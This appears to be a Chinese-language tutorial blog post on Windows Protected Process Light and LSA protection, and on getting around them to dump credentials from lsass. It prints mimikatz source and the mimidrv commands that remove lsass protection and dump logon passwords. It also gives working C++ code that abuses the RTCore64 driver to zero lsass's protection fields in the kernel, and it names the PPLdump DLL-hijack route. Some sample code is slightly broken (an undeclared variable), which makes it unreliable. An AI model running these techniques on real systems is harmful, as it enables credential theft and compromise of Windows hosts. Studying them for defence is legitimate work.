PPL
PPL表示“受保护的流程”,但在此之前,只有“受保护的流程”。Windows Vista / Server 2008引入了受保护进程的概念,其目的不是保护您的数据或凭据。其最初目标是保护媒体内容并符合DRM(数字版权管理)要求。Microsoft开发了此机制,以便您的媒体播放器可以读取例如蓝光,同时防止您复制其内容。当时的要求是映像文件(即可执行文件)必须使用特殊的Windows Media证书进行数字签名(如Windows Internals的“受保护的过程”部分所述)。
在实践中,一个受保护的过程可通过未保护的过程仅具有非常有限的权限访问:
PROCESS_QUERY_LIMITED_INFORMATION
,PROCESS_SET_LIMITED_INFORMATION
,PROCESS_TERMINATE
和PROCESS_SUSPEND_RESUME
。对于某些高度敏感的过程,甚至可以减少此设置。几年后,从Windows 8.1 / Server 2012 R2开始,Microsoft引入了Protected Process Light的概念。PPL实际上是对先前“受保护过程”模型的扩展,并添加了“保护级别”的概念,这基本上意味着某些PP(L)进程可以比其他进程受到更多保护。
进程的保护级别已添加到EPROCESS
内核结构中,并且更具体地存储在其Protection
成员中。该Protection
成员是一个PS_PROTECTION
结构,即ZwQueryInformationProcess
的第三个参数,我们看下msdn的描述
NTSTATUS WINAPI ZwQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
_PS_PROTECTION
结构如下,前3位代表保护Type
,它定义过程是PP
还是PPL
,后4位代表Signer
类型,即实际的保护类型
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
_PS_PROTECTED_TYPE
和_PS_PROTECTED_SIGNER
结构的定义如下
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0, // 0
PsProtectedSignerAuthenticode, // 1
PsProtectedSignerCodeGen, // 2
PsProtectedSignerAntimalware, // 3
PsProtectedSignerLsa, // 4
PsProtectedSignerWindows, // 5
PsProtectedSignerWinTcb, // 6
PsProtectedSignerWinSystem, // 7
PsProtectedSignerApp, // 8
PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
进程的保护级别就通过这两个值组合定义,有几种常见的组合,比如这里将_PS_PROTECTION
的值修改为0x72
就能够将一个普通的进程变为受保护状态,在3环是不能够进行操作的
那么我们就可以编写函数判断进程的保护级别
bool FindProcessProtect()
{
PS_PROTECTION ProtectInfo = { 0 };
NTSTATUS ntStatus = ZwQueryInformationProcess(NtCurrentProcess(), ProcessProtectionInformation, &ProtectInfo, sizeof(ProtectInfo), NULL);
bool = false;
bool Result2 = false;
if (NT_SUCCESS(ntStatus))
{
Result1 = ProtectInfo.Type == PsProtectedTypeNone && ProtectInfo.Signer == PsProtectedSignerNone;
PROCESS_EXTENDED_BASIC_INFORMATION ProcessExtenedInfo = { 0 };
ntStatus = ZwQueryInformationProcess(NtCurrentProcess(), ProcessBasicInformation, &ProcessExtenedInfo, sizeof(ProcessExtenedInfo), NULL);
if (NT_SUCCESS(ntStatus))
{
Result2 = ProcessExtenedInfo.IsProtectedProcess == false && ProcessExtenedInfo.IsSecureProcess == false;
}
}
return Result2 && Result1;
}
LSA
LSA
即RunAsPPL
,虽然lsass
进程有PPL
,微软为了防止非管理非 PPL 进程通过开放访问或篡改 PPL 进程中的代码和数据推出了LSA
,但是在一般情况下是并没有启用的
没有启用LSA
的时候我们能够正常抓取密码
我们我们开启LSA
,找到HKLM\SYSTEM\CurrentControlSet\Control\Lsa
然后添加一个DWORD
值RunAsPPL
,并把值从0改为1即可开启LSA
重启之后我们再尝试提权之后抓取密码,已经看到这里报错0xc0000005
,这里异常出在kuhl_m_sekur1sa_acquireLSA
模块
我们去mimikatz
里面看一下源码它是怎么写这个异常判断的,首先定位到kuhl_m_sekurlsa.c
去到kuhl_m_sekurlsa_acquireLSA
函数
这里源码如下
NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[])
{
return kuhl_m_sekurlsa_getLogonData(lsassPackages, ARRAYSIZE(lsassPackages));
}
NTSTATUS kuhl_m_sekurlsa_acquireLSA()
{
NTSTATUS status = STATUS_SUCCESS;
KULL_M_MEMORY_TYPE Type;
HANDLE hData = NULL;
DWORD pid, cbSk;
PMINIDUMP_SYSTEM_INFO pInfos;
DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
BOOL isError = FALSE;
PBYTE pSk;
if(!cLsass.hLsassMem)
{
status = STATUS_NOT_FOUND;
if(pMinidumpName)
{
Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
}
else
{
Type = KULL_M_MEMORY_TYPE_PROCESS;
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
hData = OpenProcess(processRights, FALSE, pid);
else PRINT_ERROR(L"LSASS process not found (?)\n");
}
if(hData && hData != INVALID_HANDLE_VALUE)
{
if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem))
{
if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
{
if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL))
{
cLsass.osContext.MajorVersion = pInfos->MajorVersion;
cLsass.osContext.MinorVersion = pInfos->MinorVersion;
cLsass.osContext.BuildNumber = pInfos->BuildNumber;
#if defined(_M_X64) || defined(_M_ARM64)
if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64))
PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
#elif defined(_M_IX86)
if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL))
PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
#endif
}
else
{
isError = TRUE;
PRINT_ERROR(L"Minidump without SystemInfoStream (?)\n");
}
if (pSk = (PBYTE)kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, (MINIDUMP_STREAM_TYPE)0x1337, &cbSk))
{
kprintf(L" > SecureKernel stream found in minidump (%u bytes)\n", cbSk);
pid = kuhl_m_sekurlsa_sk_search(pSk, cbSk, TRUE);
kprintf(L" %u candidate keys found\n", pid);
}
}
else
{
#if defined(_M_IX86)
if(IsWow64Process(GetCurrentProcess(), &isError) && isError)
PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\n");
else
#endif
{
cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER;
}
}
if(!isError)
{
lsassLocalHelper =
#if defined(_M_ARM64)
&lsassLocalHelpers[0]
#else
(cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
#endif
;
if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
{
#if !defined(_M_ARM64)
kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
#endif
kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent)
{
kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module))
{
status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
if(!NT_SUCCESS(status))
PRINT_ERROR(L"Key import\n");
}
else PRINT_ERROR(L"Logon list\n");
}
else PRINT_ERROR(L"Modules informations\n");
}
else PRINT_ERROR(L"Local LSA library failed\n");
}
}
else PRINT_ERROR(L"Memory opening\n");
if(!NT_SUCCESS(status))
CloseHandle(hData);
}
else PRINT_ERROR_AUTO(L"Handle on memory");
if(!NT_SUCCESS(status))
cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
}
return status;
}
我们看一下核心的代码,首先找到通过进程名获取PID
,然后通过OpenProcess
获得句柄
判断句柄是否为INVALID_HANDLE_VALUE
即无效句柄,如果为无效句柄直接调用PRINT_ERROR
PRINT_ERROR_AUTO
是一个宏,其作用是打印出失败函数的名称和错误代码,底层调用GetLastError
来打印出错误信息,这里也就是说
mimidrv.sys
这里可以使用mimikatz
提供的mimidrv.sys
来绕过,可以看到加载之后即可关闭LSA
保护,正常dump hash
!+
!procoessprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
使用!-
命令卸载驱动
!+
该命令会从用户模式启动驱动程序,并请求为当前令牌分配SeLoadDriverPrivilege
mimikatz
首先检查驱动程序在当前工作目录中是否存在,如果找到磁盘上的驱动程序,则开始创建服务。服务的创建是通过服务控制管理器(SCM
)API函数来完成的。具体而言,advapi32!ServiceCreate
将用于注册具有以下属性的服务
CreateService(
hSC, //Handle to the SCM database provided by OpenSCManager
'mimidrv', //Service name
'mimikatz driver (mimidrv)', //Service display name
READ_CONTROL | WRITE_DAC | SERVICE_START, //Desired access
SERVICE_KERNEL_DRIVER, //Kernel driver service type
SERVICE_AUTO_START, //Start the service automatically on boot
SERVICE_ERROR_NORMAL, //Log driver errors that occur during startup to the event log
'C:\\path\\to\\mimidrv.sys', //Absolute path of the driver on disk
NULL, //Load order group (unused)
NULL, //Not used because the previous argument is NULL
NULL, //No dependencies for the drive
NULL, //Use NT AUTHORITY\SYSTEM to start the service
NULL //Unused because we are using the SYSTEM account
);
如果成功创建了服务,则Evervone
组将被授予对该服务的访问权限,从而允许系统上的任何用户与该服务进行交互。例如,低特权的用户可以停止该服务
然后通过StartService
来启动服务
如果这里卸载驱动则OpenService
失败
通过EPROCESS禁用PPL
这里还是通过修改注册表启动LSA
这里我们使用修改EPROCESS
结构体的值来绕过LSA
,在2004版本的0x878
偏移存放着SignatureLevel
,我们需要将着连续的几个字节修改为0,分别是SignatureLevel
、SectionSignatureLevel
、Level
、Type
、Audit
和Signer
那么我们如何定位到lsass
进程呢?这里就需要找到内核机制,通过遍历PEB
结构里的ActiveProcessLinks
这个双向链表来找到
在win10 1607
版本以后,微软更改了策略,将页目录基址更改为了随机地址,那么我们之前在win7里面直接定位PTE_Base
的方法就不可用,那么我们就可以使用提取特征码的方式去定位内核模块的地址
首先在WinDbg中定位内核模块的地址
然后在内核模块中搜索与当前页表基址相同的值出现的位置,当前页表基址为0xFFFF800000000000
接着,在IDA中定位到数据所在的位置,可以看到是某行代码引用了这个值的硬编码
在WinDbg中查看这段代码,能够识别到位于CcUnpinFileDataEx
函数。那么,由于系统每次启动时基址是不固定的,因此这些值也不可能是固定的硬编码,肯定对这些值进行了修改,在需要使用时,可以通过固定的偏移量提取硬编码,从而得到页表基址,但要注意不同版本的内核文件的偏移量可能是不同的
在不同版本的操作系统里面SignatureLevel
在EPROCESS
里面的偏移是不相同的,比如在2004里面位于0x878
,而在1909版本则位于0x6f8
,所以这里需要通过函数进行判断
struct Offsets getVersionOffsets() {
wchar_t value[255] = { 0x00 };
DWORD BufferSize = 255;
RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);
wprintf(L"[+] Windows Version %s Found\n", value);
auto winVer = _wtoi(value);
switch (winVer) {
case 1607:
return Offsets{ 0x02e8, 0x02f0, 0x0358, 0x06c8 };
case 1803:
case 1809:
return Offsets{ 0x02e0, 0x02e8, 0x0358, 0x06c8 };
case 1903:
case 1909:
return Offsets{ 0x02e8, 0x02f0, 0x0360, 0x06f8 };
case 2004:
case 2009:
return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };
default:
wprintf(L"[!] Version Offsets Not Found!\n");
exit(-1);
}
}
然后根据函数定位到PsInitialSystemProcess
函数,从EnumDeviceDrivers
可以得到内核基址,通过循环找到lsass
进程,寻找偏移将SignatureLevel
、SectionSignatureLevel
、Level
、Type
、Audit
和Signer
这5个值清0即可绕过
void disableProtectedProcesses(DWORD targetPID, Offsets offsets) {
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE) {
Log("[!] Unable to obtain a handle to the device object");
return;
}
Log("[*] Device object handle has been obtained");
const auto NtoskrnlBaseAddress = getKernelBaseAddr();
Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
FreeLibrary(Ntoskrnl);
const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
const DWORD64 TargetProcessId = static_cast<DWORD64>(targetPID);
DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
DWORD64 CurrentProcessAddress = ProcessHead;
do {
const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
if (UniqueProcessId == TargetProcessId) {
break;
}
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
} while (CurrentProcessAddress != ProcessHead);
CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
Log("[*] Current process address: %p", CurrentProcessAddress);
WriteMemoryPrimitive(Device, 4, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);
// Cleanup
CloseHandle(Device);
}
在没有绕过LSA
之前是不能够dump的,这里通过patch
之后即可dump hash
DefineDosDevice
如函数名所示,DefineDosDevice
的作用是定义MS-DOS
设备名称。根据官方文档,MS-DOS
设备名是对象管理器中的符号链接,格式为\DosDevices\DEVICE_NAME
。我们插入外部驱动器或者USB设备时就会出现这种情况,设备会被自动分配一个驱动器号,比如E:
,我们可以调用QueryDosDevice
来查询对应的映射。
BOOL DefineDosDeviceW(
[in] DWORD dwFlags,
[in] LPCWSTR lpDeviceName,
[in, optional] LPCWSTR lpTargetPath
);
这里我们可以尝试使用QueryDosDevice
来查询设备名
WCHAR path[MAX_PATH + 1];
if (QueryDosDevice(argv[1], path, MAX_PATH))
{
wprintf(L"%ws -> %ws\n", argv[1], path);
}
但是在这个地方我们并不使用DefineDosDevice
的常规功能,而是通过DefineDosDevice
创建dll,因为PPL
是不检查dll的数字签名的,从而实现dll劫持绕过PPL
使用到PPLdump项目编译,即可绕过并dump出hash